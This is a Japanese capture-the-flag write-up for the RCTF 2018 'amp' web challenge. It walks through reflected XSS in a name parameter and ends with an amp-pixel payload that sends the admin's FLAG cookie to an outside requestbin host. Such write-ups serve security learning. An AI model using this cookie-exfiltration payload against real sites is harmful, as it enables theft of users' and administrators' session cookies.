RCTF 2018 - amp
問題文
Building the future web, together. http://amp.2018.teamrois.cn
writeup
まずはcurlでアクセスする。
root@kali:amp# curl http://amp.2018.teamrois.cn/ -v * Trying 149.28.139.172... * TCP_NODELAY set * Connected to amp.2018.teamrois.cn (149.28.139.172) port 80 (#0) > GET / HTTP/1.1 > Host: amp.2018.teamrois.cn > User-Agent: curl/7.57.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.14.0 (Ubuntu) < Date: Sat, 19 May 2018 01:40:21 GMT < Content-Type: text/html; charset=UTF-8 < Content-Length: 1930 < Connection: keep-alive < X-Powered-By: PHP/7.2.5 < Content-Security-Policy: script-src 'nonce-ea004b0c99e73ec15e49d56b101d2b39' 'strict-dynamic'; style-src 'unsafe-inline' < Set-Cookie: FLAG=flag_is_in_admin_cookie < Vary: Accept-Encoding < <!doctype html> <html ⚡> <head> <meta charset="utf-8"> <script async src="https://cdn.ampproject.org/v0.js" nonce="ea004b0c99e73ec15e49d56b101d2b39"></script> <title>⚡</title> <link rel="canonical" href="http://example.ampproject.org/article-metadata.html"> <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1"> <script type="application/ld+json" nonce="ea004b0c99e73ec15e49d56b101d2b39"> { "@context": "http://schema.org", "@type": "NewsArticle", "headline": "Open-source framework for publishing content", "datePublished": "2015-10-07T12:02:41Z", "image": [ "logo.jpg" ] } </script> <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style><noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style></noscript> <style amp-custom>body {background:url(background.jpg) no-repeat;background-size:cover;}html,body,.main{min-height:100vh;width:100%;color:#fff;}.main{align-items: center;display: flex;justify-content: center; flex-direction: column;}.main *{ zoom: 2;}.grecaptcha-badge{display: none}</style> </head> <body> <div class="main"> <h1>HEY</h1> <h3>INPUT YOUR NAME AFTER QUERYSTRING</h3> </div> </body> </html> * Connection #0 to host amp.2018.teamrois.cn left intact
Set-Cookie: FLAG=flag_is_in_admin_cookieが返ってきていた。
adminユーザのクッキーを奪取する問題のようだ。
また、INPUT YOUR NAME AFTER QUERYSTRING と表示されているため、
nameパラメータを付与する。
root@kali:amp# curl "http://amp.2018.teamrois.cn/?name=aaaa" (snip) <body> <div class="main"> <p>Dear aaaa:</p> <h1>YOU'RE BEING TRACKING</h1> <!-- OK, I don't care AMP Standard --> <!-- It just wastes my time. --> <script src="https://www.google.com/recaptcha/api.js" nonce="bc37a6e35504311117af53dee67caad8"></script> <script nonce="bc37a6e35504311117af53dee67caad8"> function onSubmit(token) { document.getElementById("form").submit() } </script> <form method="post" id="form"> <input type="hidden" name="post" /> <button class="g-recaptcha" type="submit" data-sitekey="6LeQ6FUUAAAAANBLjFN1slz3-j-Zp-PqUt__NY5p" data-callback="onSubmit">STOP TRACKING ME</button> </form> </div> </body> </html>
ブラウザでも実行する。
以下2点の変化があった。
- nameパラメータに指定した値が表示された。
- 「STOP TRACKING ME」ボタンが出現した。
recaptchaの機能が入っているため、curlでなくブラウザに切り替えてボタン押下する。
(snip) <body> <div class="main"> <p>Dear aaaa:</p> <h2>We logged your request and contacted admin</h2> <h2>However, you'd better know</h2> <h1>YOU HAVE NO OPTION</h1> </div> </body> </html>
ブラウザでも実行する。
adminユーザに何らかの通知がいったようだ。
nameパラメータを工夫する問題と考える。 試しに、外部サーバ(ここではrequestbin)を参照するimgタグを、nameパラメータにセットしてみる。
root@kali:amp# curl "http://amp.2018.teamrois.cn/" -G --data-urlencode "name=<img src=https://requestbin.fullcontact.com/rdamwrrd?x>" (snip) <body> <div class="main"> <p>Dear <img src=https://requestbin.fullcontact.com/rdamwrrd?x>:</p> <h1>YOU'RE BEING TRACKING</h1> <!-- OK, I don't care AMP Standard --> <!-- It just wastes my time. --> <script src="https://www.google.com/recaptcha/api.js" nonce="e21842804650413f6f26284ccf50a35c"></script> <script nonce="e21842804650413f6f26284ccf50a35c"> function onSubmit(token) { document.getElementById("form").submit() } </script> <form method="post" id="form"> <input type="hidden" name="post" /> <button class="g-recaptcha" type="submit" data-sitekey="6LeQ6FUUAAAAANBLjFN1slz3-j-Zp-PqUt__NY5p" data-callback="onSubmit">STOP TRACKING ME</button> </form> </div> </body> </html>
nameパラメータは特にサニタイジングされていないことがわかる。
ブラウザで実行するとrequestbinにアクセスが来た。
また、その後に「STOP TRACKING ME」を押下すると、adminとみられるクライアントからrequestbinにアクセスが来た。どうやら、adminが同じURLにアクセスしてくれるようだ。
よって、nameパラメータに、クライアントからCookieを送信するタグやスクリプトをセットし、「STOP TRACKING ME」ボタンを押下することで、adminからFLAGを入手できる。
今一度、HTMLを観察すると、<html ⚡>
という見慣れないタグ。
調べると、AMP(Accelerated Mobile Pages)の宣言のようだ。
AMPに準拠するためにはお作法があるようで、<html ⚡>
もその一つ。
なるほど、タイトルもampであるし、この仕様・機能を使うのか。
<amp-*>
のタグにより各種機能が使用できるようになるようだが、必要に応じてコンポーネントをロードして使用するらしい。
このページでは、以下の標準コンポーネント以外に特にコンポーネントをロードしていない。
<script async src="https://cdn.ampproject.org/v0.js" nonce="ea004b0c99e73ec15e49d56b101d2b39"></script>
よって、ビルトインの機能に絞って確認する。 github.com
上記ページより、ビルトインで使用できるのは、
- amp-img
- amp-layout
- amp-pixel
の3種だけのようだ。
amp-pixelが怪しい。そして、置換変数という仕組みがあるらしい。
Client IDに以下の記載あり。
If the AMP document is not served through the Google AMP Cache, the client ID is replaced with a cookie of the name of the cid scope argument (see below). If it is not present, a cookie will be set with the same name.
nameパラメータに<amp-pixel src="http://requestbin.fullcontact.com/rdamwrrd?q=CLIENT_ID(FLAG)"></amp-pixel>
を付けてみる。
AMPに対応しているブラウザである必要があるため、curlでなくブラウザで実行し、requestbinを確認する。
CLIENT_ID(FLAG)
の代わりにflag_is_in_admin_cookie
が飛んできた。
ビンゴ。
「STOP TRACKING ME」ボタンを押下してadminにアクセスを促し、requestbinを確認する。
GET /rdamwrrd?q=RCTF{El_PsY_CONGRO0_sg0}